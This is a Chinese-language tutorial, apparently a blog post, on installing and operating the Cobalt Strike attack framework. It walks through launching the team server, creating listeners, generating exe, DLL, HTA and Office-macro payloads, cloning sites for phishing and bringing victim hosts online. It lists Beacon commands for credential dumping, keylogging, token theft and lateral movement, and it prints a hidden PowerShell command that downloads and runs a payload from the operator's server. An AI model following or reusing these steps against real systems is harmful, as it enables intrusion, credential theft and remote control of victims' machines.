总字符数: 15.71K

代码: 8.69K, 文本: 2.47K

预计阅读时间: 49 分钟

CS简介

什么是CS

Cobalt Strike是一款基于java语言开发的渗透测试神器,常被业界人称为CS神器。它被广泛用于模拟高级持久性威胁(Advanced Persistent Threat,APT)和进行内网渗透。

分为客户端与服务端 (CS架构的),多用于团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和sessions,可模拟APT做模拟对抗,进行内网渗透。

Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,

java执行,浏览器自动攻击等等

官方网站

官方文档

目录结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
logs                                # 日志记录与目标主机的相关信息 
resources # 资源文件的目录
scripts # Cobalt Strike脚本的目录
.cobaltstrike.beacon_keys # Cobalt Strike Beacon的密钥信息的文件
agscript # 拓展应用的脚本.用于自动化和定制化渗透测试过程
c2lint # 用于检查 profile 文件
cobaltstrike,cobaltstrike.jar # 客户端程序(java跨平台)
cobaltstrike.bat # windows平台快速启动客户端的bat文件
cobaltstrike.store # Cobalt Strike的ssl证书文件
CSAgent.jar # 用于代理通信的Java可执行文件
icon.jpg # 图标
peclone # 克隆和操作PE文件的工具或脚本
start.sh # 用于在Unix/Linux系统上启动Cobalt Strike的Shell脚本
teamserver # 启动服务端的sh脚本

安装和运行

服务端

团队服务器最好运行在 Linux平台上,服务端的关键文件是teamservercobaltstrike.jar,将这两个文件放在同一目录下运行 , teamserver要有可以运行的权限

1
2
3
4
5
6
7
8
9
sudo chmod +x teamserver

# <host> 必需参数 团队服务器IP
# <password> 必需参数 连接服务器的密码
# [/path/to/c2.profile] 可选参数 指定C2通信配置文件,体现其强大的扩展性
# [YYYY-MM-DD] 可选参数 所有payload的终止时间
sudo ./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]
# 一般启动Team Server
sudo ./teamserver 192.168.74.131 3wHv#4WeFjH@kilayu#s # 设置强密码,否则容易被爆破,参考附录

默认端口为50050。如果要修改端口号需编辑teamserver文件sudo vim teamserver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# start the team server.
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=Microsoft -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar -javaagent:CSAgent.jar=f38eb3d1a335b252b58bc2acde81b542 -Duser.language=en server.TeamServer $*

-XX:ParallelGCThreads=4 # 设置并行垃圾回收线程数为4
-Dcobaltstrike.server_port=50050 # 指定端口号为50050
-Dcobaltstrike.server_bindto=0.0.0.0 # 绑定到所有可用的网络接口
-Djavax.net.ssl.keyStore=./cobaltstrike.store # 设置 SSL 的密钥库文件路径为 ./cobaltstrike.store用于SSL/TLS加密连接
-Djavax.net.ssl.keyStorePassword=Microsoft # cobaltstrike.store密钥库的密码为Microsoft
-server # 让JVM使用服务器模式来运行
-XX:+AggressiveHeap # JVM设置
-XX:+UseParallelGC # 垃圾回收机制
-classpath ./cobaltstrike.jar # 指向主应用程序的 JAR 文件
-javaagent:CSAgent.jar=f38eb3d1a335b252b58bc2acde81b542 # 指定CSAgent.jar文件并传入参数
-Duser.language=en # 设置语言

客户端

Linux:chmod +x start.sh

Windows: cobaltstrike.bat

如果Java未设置变量请将对应文件中的Java替换为具体的路径

1
2
3
4
5
别名 # 类似于备注随便写
主机 # 写你VPS/虚拟机IP(必须互通)
端口 # teamserver监听的端口
用户 # 随便写,别和同一台服务器中的其他用户重复即可
密码 # 定义的密码

指纹Hash一样,默认点Yes即可

菜单栏详情

Cobalt Strike

1
2
3
4
5
New Connection    # 新建连接,支持连接多个服务器端
Preferences # 设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录Visualization # 主要展示输出结果的视图
VPN Interfaces # 设置VPN接口
Listenrs # 创建监听器
Script Manager # 脚本管理,可以通过AggressorScripts脚本来加强自身,能够扩展菜单栏,Beacon命令行,提权脚本等

View

1
2
3
4
5
6
7
8
9
Applications        # 显示受害主机的应用信息
Credentials # 显示所有以获取的受害主机的凭证,如hashdump、Mimikatz Downloads # 查看已下载文件
Event Log # 主机上线记录以及团队协作聊天记录
Keystrokes # 查看键盘记录结果
Proxy Pivots # 查看代理模块
Screenshots # 查看所有屏幕截图
Script Console # 加载第三方脚本以增强功能
Targets # 显示所有受害主机
Web Log # 所有Web服务的日志

Attacks

Packages(生成后门)

1
2
3
4
HTML Application      # 生成(executable/VBA/powershell)这三种原理实现的恶意HTA木马文件MS Office Macro        # 生成office宏病毒文件
Payload Generator # 生成各种语言版本的payload
Windows Executable # 生成可执行exe木马
Windows Executable(Stageless) # 生成无状态的可执行exe木马

Web Drive-by(钓鱼攻击)

1
2
3
4
5
6
7
8
9
Manage # 对开启的web服务进行管理
Clone Site # 克隆网站,可以记录受害者提交的数据
Host File # 提供文件下载,可以选择Mime类型
Scripted Web Delivery # 为payload提供web服务以便下载和执行,类似于Metasploit的
web_delivery
Signed Applet Attack # 使用java自签名的程序进行钓鱼攻击(该方法已过时)
Smart Applet Attack # 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以
下版本(该方法已过时)
System Profiler # 用来获取系统信息,如系统版本,Flash版本,浏览器版本等

钓鱼邮件(弃用)

Reporting(报告)

1
2
3
4
5
6
7
8
9
10
Activity Report # 活动报告
Hosts Report # 主机报告
Indicators of Compromise # IOC报告:包括C2配置文件的流量分析、域名、IP和上传文件的MD5
hashes
Sessions Report # 会话报告
Social Engineering Report # 社会工程报告:包括鱼叉钓鱼邮件及点击记录
Tactics, Techniques, and Procedures # 战术技术及相关程序报告:包括行动对应的每种战术的检测
策略和缓解策略
Reset Data # 重置数据
Export Data # 导出数据,导出.tsv文件格式

Help

1
2
3
4
5
Homepage # 官方主页
Support # 技术支持
Arsenal # 开发者
System information # 版本信息
About # 关于

工具栏

依次为:

  1. 新建连接
  2. 断开当前连接
  3. 监听器
  4. 改变视图为Pivot Graph(视图列表)
  5. 改变视图为Session Table(会话列表)
  6. 改变视图为Target Table(目标列表)
  7. 显示所有以获取的受害主机的凭证
  8. 查看已下载文件
  9. 查看键盘记录结果
  10. 查看屏幕截图
  11. 生成无状态的可执行exe木马
  12. 使用java自签名的程序进行钓鱼攻击
  13. 生成office宏病毒文件
  14. 为payload提供web服务以便下载和执行
  15. 提供文件下载,可以选择Mime类型
  16. 管理Cobalt Strike上运行的web服务
  17. 帮助
  18. 关于

基本流程

创建监听器

什么是监听器?

顾名思义,监听器就是等待被入侵系统连接自己的一个服务。

监听器的作用?

主要是为了接受payload回传的各类数据, 比如payload在目标机器执行以后,就会回连到监听器 ,

然后下载执行真正的shellcode代码

一旦监听器建立起来,团队成员只需要知道这个监听器的名称即可,不用关心监听器背后的基础环境,

一个监听器由用户定义的名称、payload 类型和几个特定于 payload 的选项组成。

监听器的名字一般由以下结构组成:

1
2
Operating System/Payload/Stager 
如 : windows/beacon_http/reverse_http

点击Cobalt Strike -> Listeners->Add,其中内置了8个Listener

包括dns、http、https、smb tcp 五种协议, External C2, 使用外部的命令与控制(C2)工具或框架,而不是使用 Cobalt Strike 默认的内置监听器, 可以配合其他c2作为后端, Foreign HTTP, 允许Beacon 使用外部的HTTP服务器进行C2通信,而不是使用 Cobalt Strike 内置的Beacon监听器

  1. Name随便写
  2. 选择所需的Payload
  3. Host为VPS_IP
  4. Port为此Payload监听的端口,未被占用即可

监听成功后,在服务端有对应的日志

生成木马

运行木马

双击木马上线

选中受害机右击,选择beacon,即可进行交互,由于受害机默认60秒进行一次回传,可以把时间设置成1或其他,但实际中频率不宜过快,容易被发现

或者进入会话,在下方输入sleep 1也可以

执行系统命令

通信图

Beacon介绍

Beacon是什么?

Beacon是CS的Payload ( 攻击载荷 )

Beacon有两种通信模式。

  1. 异步通信模式,这种模式通信效率缓慢,Beacon回连团队服务器、下载任务、然后休眠;
  2. 交互式通信模式,这种模式的通信是实时发生的。

通过HTTP、HTTPS和DNS出口网络。使用SMB协议的时候是点对点通信

Beacon的类型

  • HTTP 和 HTTPS Beacon

HTTP和HTTPS Beacon也可以叫做Web Beacon。默认设置情况下,HTTP 和 HTTPS Beacon 通过 HTTP GET 请求来下载任务。这些 Beacon 通过 HTTP POST 请求传回数据。
当受害机上线以后,右击选择Interact ,就可以打开Beacon Console

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
beacon> help

Beacon Commands
===============
Command Description
------- -----------
! 运行历史命令
argue 命令行参数欺骗
blockdlls 禁止子进程加载非微软签名的dll
browserpivot 注入浏览器进程代理用户已认证身份(仅支持IE)
cancel 取消正在下载的文件
cd 跳转目录
checkin 强制目标回连并更新状态(用于DNS上线,DNS模式下无新任务时目标不会回连Teamserver)
chromedump 提取Chrome保存的账号密码、Cookies等信息
clear 清空beacon任务队列
connect 通过TCP正向连接远程Beacon
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从域控提取密码hash
desktop 远程VNC控制用户桌面
dllinject 注入一个内存反射加载的dll到目标进程
dllload 使用LoadLibrary方式在目标进程中加载一个dll
download 下载文件
downloads 列出所有正在下载的文件
drives 列出所有磁盘盘符
elevate 利用提权漏洞获取一个高权限Beacon
execute 在目标上执行程序(无回显)
execute-assembly 在目标上内存加载执行本地.NET程序
exit 结束当前Beacon会话
getprivs 在当前进程访问令牌(access token)中启用system特权
getsystem 尝试获取SYSTEM用户权限
getuid 获取当前进程访问令牌(access token)的用户信息
hashdump 获取本地用户hash
help 帮助信息
history 显示历史命令记录
inject 在指定进程中注入新的Beacon会话
inline-execute 在当前会话中执行Beacon Object File
jobkill 结束一个后台任务
jobs 列出所有后台任务
jump 在远程机器上植入Beacon(横向移动)
kerberos_ccache_use 从ccache文件导入kerberos票据到当前会话中
kerberos_ticket_purge 清空当前会话中的所有kerberos票据
kerberos_ticket_use 从ticket文件中导入kerberos票据到当前会话中
keylogger 开启键盘记录
kill 结束指定进程
link 通过命名管道正向连接远程Beacon
logonpasswords 使用mimikatz获取密码和hash
ls 列出目录文件
make_token 创建进程访问令牌(access token),仅用于访问网络资源
mimikatz 运行mimikatz
mkdir 创建目录
mode dns 使用DNS A记录作为数据通道(仅支持DNS上线Beacon)
mode dns-txt 使用DNS TXT记录作为数据通道(仅支持DNS上线Beacon)
mode dns6 使用DNS AAAA记录作为数据通道(仅支持DNS上线Beacon)
mv 移动文件
net 网络和主机探测工具(内置net命令)
note 给当前会话添加备注信息
portscan 网络端口扫描
powerpick 内存执行Powershell命令(不调用powershell.exe)
powershell 通过powershell.exe执行Powershell命令
powershell-import 导入本地powershell脚本到当前会话中
ppid 为所有新运行的进程设置伪造的父进程PID
printscreen 使用PrintScr方式截屏
ps 显示进程列表
psinject 注入到指定进程后在内存中执行Powershell命令(不调用powershell.exe)
pth 使用Mimikatz执行Pass-the-hash
pwd 显示当前目录
reg 查询注册表
remote-exec 在远程机器上执行命令(横向移动)
rev2self 恢复原始进程访问令牌(access token)
rm 删除文件或文件夹
rportfwd 反向端口转发(从Cobalt Strike Teamserver发起连接)
rportfwd_local 反向端口转发(从Cobalt Strike客户端发起连接)
run 在目标上执行程序(有回显)
runas 以另一个用户身份执行程序
runasadmin 以高权限执行程序
runu 以另一个进程PID作为父进程PID,并以其用户身份执行程序
screenshot 截屏
screenwatch 屏幕监控,每隔一段时间截屏
setenv 设置环境变量
shell 使用cmd.exe执行命令
shinject 注入shellcode到指定进程中
shspawn 创建傀儡进程并注入shellcode到其中运行
sleep 设置beacon回连间隔时间
socks 启动SOCKS4a代理服务器
socks stop 停止SOCKS4a代理服务器
spawn 创建一个新Beacon会话
spawnas 以另一个用户身份创建一个新Beacon会话
spawnto 设置创建新进程时使用的可执行文件路径(傀儡进程的宿主exe文件路径)
spawnu 以另一个进程PID作为父进程PID,并以其用户身份创建一个新Beacon会话
spunnel 运行第三方agent shellcode并将其反向代理到控制端(从Cobalt Strike Teamserver发起连接)
spunnel_local 运行第三方agent shellcode并将其反向代理到控制端(从Cobalt Strike客户端发起连接)
ssh 通过SSH连接远程主机(使用账号密码认证)
ssh-key 通过SSH连接远程主机(使用证书私钥认证)
steal_token 从指定进程中窃取访问令牌(access token)
timestomp 复制B文件的创建、访问、修改时间戳到A文件(文件时间戳伪造)
unlink 断开与beacon的连接(用于通过TCP、命名管道连接的beacon)
upload 上传文件

可用help 命令的方式查看具体命令参数说明

退出会话:选中会话 , 右键退出回话 , 然后删除回话 , 如果再次上线了, 再删除一次

CS上线类型

exe上线(有阶段)

攻击 -> 生成后门 -> windows可执行程序 , 选择监听器和对应的操作系统位数

注意:有阶段的后门,你在双击时可以在CS的Web Log中可以看到请求信息,这是双击时只是第一阶段会请求网址下载第二阶段的完整后门

将VPS的IP和Request:Get后的路径组和起来就是http://192.168.74.131/EjZT

有的在线免杀的网站让提供的第二阶段地址就是此地址

exe上线(无阶段)

可以看到无阶段的文件大小要比有阶段的大.这是因为无阶段的将shellcode内置到了木马中.而有阶段需要去下载.更像是小马拉大马

Staged和Stageless的区别

生成的exe体积不同

上线经过的流程不同

  1. Staged(有阶段): 在有阶段的执行方式中,Cobalt Strike Payload 分为两个主要阶段,即StagerStage
    1. Stager(初始执行载荷):下载器
      1. 定义: Stager是Stage 1,是一个较小的、轻量级的初始执行载荷。
      2. 作用: 主要任务是与Cobalt Strike团队服务器建立初始连接,并从服务器下载更大的Payload,也就是Stage 2
    2. Stage (完整的执行载荷):
      1. 定义: Stage是Stage 2,是一个更大、更完整的执行载荷。
      2. 作用: 一旦Stager与Cobalt Strike团队服务器建立连接,Stager会请求下载Stage。Stage是整个Payload的主体,包含了更多的功能和模块。一旦下载,Stage在目标系统上执行,并与Cobalt Strike服务器保持连接,执行渗透测试人员指定的各种命令和操作。
  2. Stageless(无阶段):
    1. 定义: 在无阶段的执行方式中,整个 Payload 在一次性的过程中直接执行,而不需要分为两个阶段。
    2. 特点: 由于无阶段的执行方式减少了与团队服务器的交互,因此可能更难被检测。然而,这也限制了 Payload 的大小,因为整个 Payload 需要在一次连接中传输

Beacon DNS上线

域名的配置

域名设置如下:

1
2
3
4
5
6
一条A记录指向CS的IP地址  
vpn.lavaicer.club => CS的IP地址
几条NS记录指向刚刚A记录对应的域名(也可以只写一条)
ns1.lavaicer.club => vpn.lavaicer.club
ns2.lavaicer.club => vpn.lavaicer.club
ns3.lavaicer.club => vpn.lavaicer.club

创建监听器

生成Payload

1
2
# 可以切换为txt
beacon> mode dns-txt

powershell command上线

attacks—>Packages—>Payload生成器

选择powershell command命令

Scripted Web Delivery(S)上线

Attacks—>Web Drive-by—>Scripted Web Delivery(S)

1
2
3
4
5
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.74.131:80/a'))"
本质上也是通过powershell远程加载上线,但是稍微有点不同,
这中攻击方式是攻击者在cs服务器上开启一个web站点
然后靶机中运行powershell命令-->向VPS发起请求-->响应payload作为powershell要执行的命令
属于payload远程加载执行的一种方式

DLL文件上线

Attacks—>Packages—>Windows可执行程序—>Windwos DLL

将生成的dll文件上传到靶机 , 然后在靶机注册dll文件上线

在windows中可执行文件 , 不是只有.exe文件 , .dll文件和.com文件也都是可执行文件